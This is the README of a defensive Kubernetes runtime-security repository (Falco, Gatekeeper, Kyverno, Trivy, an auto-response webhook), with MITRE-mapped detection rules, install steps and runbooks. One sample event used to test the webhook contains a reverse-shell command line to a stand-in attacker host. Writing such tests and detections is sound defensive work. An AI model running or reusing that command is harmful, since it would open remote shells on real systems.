Skip to content

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Kubernetes Security Platform

Falco OPA Kyverno Trivy MITRE CIS

Production-grade Kubernetes runtime security platform for EKS. Implements defense-in-depth across admission control, runtime threat detection, continuous vulnerability scanning, and automated incident response — mapped to MITRE ATT&CK for Containers, CIS Kubernetes Benchmark 1.8, NIST 800-53, and PCI DSS.


The Security Architecture

Most container security focuses on the CI/CD pipeline — scanning images before they deploy. This platform covers what happens after deployment: detecting threats at runtime, enforcing policies at admission, continuously scanning running workloads, and automatically responding to incidents.

┌─────────────────────────────────────────────────────────────────────┐
│                    DEFENSE IN DEPTH LAYERS                          │
│                                                                     │
│  Layer 1 — ADMISSION CONTROL (prevent bad configs entering cluster) │
│  ┌────────────────────────┐  ┌──────────────────────────────────┐  │
│  │   OPA Gatekeeper       │  │   Kyverno                        │  │
│  │   - No privileged pods │  │   - Verify Cosign signatures     │  │
│  │   - Approved registries│  │   - Disallow :latest tag         │  │
│  │   - Required labels    │  │   - Drop ALL capabilities        │  │
│  │   - Resource limits    │  │   - Require seccomp profile      │  │
│  │   - Non-root required  │  │   - Auto-generate NetworkPolicies│  │
│  └────────────────────────┘  └──────────────────────────────────┘  │
│                                                                     │
│  Layer 2 — RUNTIME DETECTION (detect threats in running containers) │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │   Falco (eBPF-based, every node via DaemonSet)              │   │
│  │   - Crypto mining processes         MITRE T1496             │   │
│  │   - Reverse shell attempts          MITRE T1059             │   │
│  │   - Container privilege escalation  MITRE T1611             │   │
│  │   - Sensitive file access           MITRE T1552             │   │
│  │   - Package manager execution       MITRE T1190             │   │
│  │   - Network scanning tools          MITRE T1046             │   │
│  │   - kubectl exec detection          MITRE T1609             │   │
│  │   - K8s API anomalies (anonymous access, secret reads)      │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                     │
│  Layer 3 — CONTINUOUS SCANNING (catch new CVEs post-deployment)    │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │   Trivy Operator (scans all running workloads continuously) │   │
│  │   - VulnerabilityReport per workload                        │   │
│  │   - ConfigAuditReport (K8s misconfigurations)               │   │
│  │   - ExposedSecretReport (secrets in images)                 │   │
│  │   - RbacAssessmentReport                                    │   │
│  │   - Prometheus metrics → alerts on new CRITICAL CVEs        │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                     │
│  Layer 4 — AUTOMATED RESPONSE (contain threats faster than humans) │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │   Falco → Falco Sidekick → auto-response.py webhook         │   │
│  │   - Label pod as quarantined                                │   │
│  │   - Apply network isolation (deny all ingress/egress)       │   │
│  │   - Capture forensic snapshot → S3                          │   │
│  │   - Alert Slack + PagerDuty with full context               │   │
│  │   - Optionally delete pod (restart from clean image)        │   │
│  └─────────────────────────────────────────────────────────────┘   │
│                                                                     │
│  Layer 5 — AUDIT & COMPLIANCE                                       │
│  ┌─────────────────────────────────────────────────────────────┐   │
│  │   Kubernetes Audit Policy + RBAC Hardening                  │   │
│  │   - Captures secret access, exec, privilege escalation      │   │
│  │   - Least-privilege roles: security-auditor, developer,     │   │
│  │     cicd-deployer, incident-responder                       │   │
│  │   - Prometheus alerts on RBAC anomalies                     │   │
│  └─────────────────────────────────────────────────────────────┘   │
└─────────────────────────────────────────────────────────────────────┘

Compliance Coverage

Control CIS K8s 1.8 NIST 800-53 PCI DSS MITRE ATT&CK
No privileged containers 5.2.1 AC-6 2.2 T1611
Non-root containers 5.2.6 AC-6 2.2 T1548
Read-only root filesystem 5.2.8 CM-7 2.2 T1070
Drop all capabilities 5.2.9 AC-6 2.2 T1548
Approved registries only CM-7 6.3 T1525
Required labels CM-8
Network policies 5.3.2 SC-7 1.3 T1046
Crypto mining detection SI-4 11.4 T1496
Shell spawn detection SI-4 11.4 T1059
Secret access audit 3.2.1 AU-2 10.2 T1552
Privilege escalation detection AU-2 10.2 T1611
Least privilege RBAC 5.1.1 AC-6 7.1
Audit logging 3.2.1 AU-2 10.2
Continuous CVE scanning SI-2 6.3
Image signing verification CM-14 6.3 T1525

Repository Structure

k8s-security-platform/
+-- README.md
+-- falco/
|   +-- rules/enterprise-rules.yaml      # 15 custom MITRE-mapped detection rules
|   +-- config/falco-values.yaml         # Falco + Sidekick Helm config
+-- gatekeeper/
|   +-- constraint-templates/templates.yaml  # 7 Rego policy templates
|   +-- constraints/constraints.yaml         # Constraint instances + exemptions
+-- kyverno/
|   +-- policies/policies.yaml           # Cosign verification, capabilities, seccomp
+-- trivy-operator/
|   +-- values.yaml                      # Continuous CVE scanning config
+-- rbac/
|   +-- rbac.yaml                        # Least-privilege roles + bindings
+-- audit/
|   +-- audit-policy.yaml               # K8s audit policy (API server)
+-- alerting/
|   +-- prometheus/security-alerts.yaml # Prometheus security alert rules
+-- scripts/
|   +-- bootstrap.sh                    # One-command cluster security setup
|   +-- auto-response.py                # Automated incident response webhook

Quick Start

Install everything with one command:

./scripts/bootstrap.sh \
  --cluster-name my-eks-cluster \
  --region us-east-1 \
  --slack-webhook https://hooks.slack.com/services/xxx/yyy/zzz

Or install components individually:

# 1. OPA Gatekeeper
helm upgrade --install gatekeeper gatekeeper/gatekeeper \
  -n gatekeeper-system --create-namespace \
  --set replicas=3 --wait

kubectl apply -f gatekeeper/constraint-templates/templates.yaml
sleep 15  # Wait for CRDs
kubectl apply -f gatekeeper/constraints/constraints.yaml

# 2. Kyverno
helm upgrade --install kyverno kyverno/kyverno \
  -n kyverno --create-namespace --wait
kubectl apply -f kyverno/policies/policies.yaml

# 3. Falco
helm upgrade --install falco falcosecurity/falco \
  -n falco --create-namespace \
  --values falco/config/falco-values.yaml --wait

# 4. Trivy Operator
helm upgrade --install trivy-operator aqua/trivy-operator \
  -n trivy-system --create-namespace \
  --values trivy-operator/values.yaml --wait

# 5. RBAC + Audit
kubectl apply -f rbac/rbac.yaml
kubectl apply -f alerting/prometheus/security-alerts.yaml

Verifying the Platform

Check Gatekeeper is enforcing policies:

# Try to deploy a privileged pod — should be denied
kubectl run privileged-test \
  --image=nginx \
  --overrides='{"spec":{"containers":[{"name":"nginx","image":"nginx","securityContext":{"privileged":true}}]}}'
# Expected: Error from server: admission webhook denied

# Check all constraints
kubectl get constraints
kubectl describe k8snoprivilegedcontainer no-privileged-containers

Trigger a Falco rule for testing:

# Spawn a shell in a container (triggers "Shell Spawned in Container" rule)
kubectl run test-pod --image=ubuntu --restart=Never --command -- sleep 3600
kubectl exec test-pod -- /bin/bash -c "echo test"

# Watch Falco events
kubectl logs -n falco -l app=falco --tail=20 -f

Check Trivy vulnerability reports:

# View all vulnerability reports
kubectl get vulnerabilityreports -A

# Get details for a specific workload
kubectl describe vulnerabilityreport -n devsecops-prod <report-name>

# Find all CRITICAL CVEs across the cluster
kubectl get vulnerabilityreports -A -o json | \
  jq '.items[] | select(.report.summary.criticalCount > 0) | 
  {namespace: .metadata.namespace, name: .metadata.name, critical: .report.summary.criticalCount}'

Falco Rules Reference

Rule MITRE Tactic MITRE Technique Priority
Crypto Mining Process Detected Impact T1496 CRITICAL
Reverse Shell Attempt Execution T1059 CRITICAL
Exec into Running Container Lateral Movement T1609 CRITICAL
Privileged Pod Created Privilege Escalation T1611 CRITICAL
Anonymous Access to K8s API Initial Access T1190 CRITICAL
Container Privilege Escalation Privilege Escalation T1611 HIGH
Sensitive File Access Credential Access T1552 HIGH
Shell Spawned in Container Execution T1059 HIGH
Network Scanning Tool Detected Discovery T1046 HIGH
Log File Deletion Defense Evasion T1070 HIGH
Setuid/Setgid Bit Set Privilege Escalation T1548 HIGH
K8s Secret Accessed by Unexpected User Credential Access T1552 HIGH
Service Account Token Read Credential Access T1552 MEDIUM
Package Manager Executed Execution T1190 MEDIUM

Automated Incident Response

When Falco detects a CRITICAL event, the response webhook:

  1. Labels the pod as security.enterprise.com/quarantined: true

    • Removes it from Service endpoints immediately (traffic stops)
    • Makes the compromise visible to kubectl get pods
  2. Applies a quarantine NetworkPolicy — denies ALL ingress and egress to the pod

  3. Captures forensic snapshot — full pod spec, last 500 log lines, K8s events — saved to S3 with KMS encryption

  4. Alerts Slack + PagerDuty with full context (pod, image, command, namespace)

  5. Optionally deletes the pod (set AUTO_DELETE_PODS=true) — K8s restarts it from the clean image

# Run the response webhook locally for testing
export SLACK_TOKEN=xoxb-...
export S3_FORENSICS_BUCKET=my-forensics-bucket
python3 scripts/auto-response.py --server --port 9090

# Test with a sample event
curl -X POST http://localhost:9090/falco \
  -H "Content-Type: application/json" \
  -d '{"rule":"Reverse Shell Attempt","priority":"CRITICAL","output_fields":{"k8s.pod.name":"test-pod","k8s.ns.name":"default","container.image.repository":"nginx","proc.cmdline":"bash -i >& /dev/tcp/evil.com/4444 0>&1"}}'

Runbook

Investigating a Falco CRITICAL alert

# 1. Find the quarantined pod
kubectl get pods -A -l security.enterprise.com/quarantined=true

# 2. Get the quarantine reason
kubectl get pod <pod-name> -n <namespace> \
  -o jsonpath='{.metadata.annotations}'

# 3. Get forensic logs from S3
aws s3 ls s3://forensics-bucket/falco-events/ --recursive
aws s3 cp s3://forensics-bucket/falco-events/<namespace>/<pod>/<timestamp>.json /tmp/forensics.json
cat /tmp/forensics.json | jq .

# 4. After investigation — remove quarantine and delete pod
kubectl delete networkpolicy quarantine-<pod-name> -n <namespace>
kubectl delete pod <pod-name> -n <namespace>

Checking for OPA policy violations across the cluster

kubectl get constraintpodstatuses -A
kubectl describe k8sallowedrepos approved-registries-only

Viewing Trivy reports for a namespace

kubectl get vulnerabilityreports -n <namespace> -o wide
kubectl get configauditreports -n <namespace> -o wide

License

MIT

About

Runtime security platform for Kubernetes Falco with 14 MITRE ATT&CK-mapped detection rules, OPA Gatekeeper admission control, Kyverno policy engine with Cosign image verification, Trivy Operator continuous CVE scanning, automated incident response with pod isolation and forensic capture, and Prometheus alerting. CIS K8s Benchmark 1.8 compliant.

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages